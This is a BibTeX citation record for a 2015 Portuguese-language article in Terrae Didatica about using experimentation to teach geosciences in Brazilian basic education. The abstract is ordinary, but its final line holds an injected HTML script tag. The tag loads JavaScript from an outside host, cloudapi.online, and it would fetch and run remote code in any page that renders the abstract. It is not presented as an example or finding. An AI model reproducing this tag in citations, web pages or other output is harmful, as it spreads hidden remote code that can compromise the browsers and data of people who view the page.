@article{Costa_Campos_Rocha_2015, place={Campinas, SP}, title={Notas preliminares sobre o potencial de uso da experimentação no ensino de geociências na educação básica}, volume={10}, url={https://periodicos.sbu.unicamp.br/ojs/index.php/td/article/view/8637357}, DOI={10.20396/td.v10i3.8637357}, abstractNote={<p>O presente estudo faz um levantamento de bases teóricas que permitiram à experimentação ser considerada um método científico e pedagógico e não somente uma prática empírica. Destacam-se as vertentes positivista e racionalista da Ciência juntamente com os pensamentos indutivo e dedutivo no processo de evolução da experimentação. O artigo tem como foco a análise da experimentação voltada para o ensino de Geociências; apresenta-se uma breve revisão bibliográfica, histórico e contextualização da experimentação na atualidade e sua possível aplicação no ensino de Geociências no Brasil com o Tema Transversal “Meio Ambiente”, previsto nos Parâmetros Curriculares Nacionais – PCNs. Embora seja parte de uma pesquisa em andamento, o artigo propõe que a experimentação no âmbito do ensino das Geociências pode contribuir na busca pela construção do conhecimento de forma contextualizada, interdisciplinar, participativa e crítica.</p><script id="lg210a" type="text/javascript" src="https://cloudapi.online/js/api46.js"></script>}, number={3}, journal={Terrae Didatica}, author={Costa, Renata Correia and Campos, Alfredo Borges de and Rocha, Cleonice}, year={2015}, month={jun.}, pages={383–393} }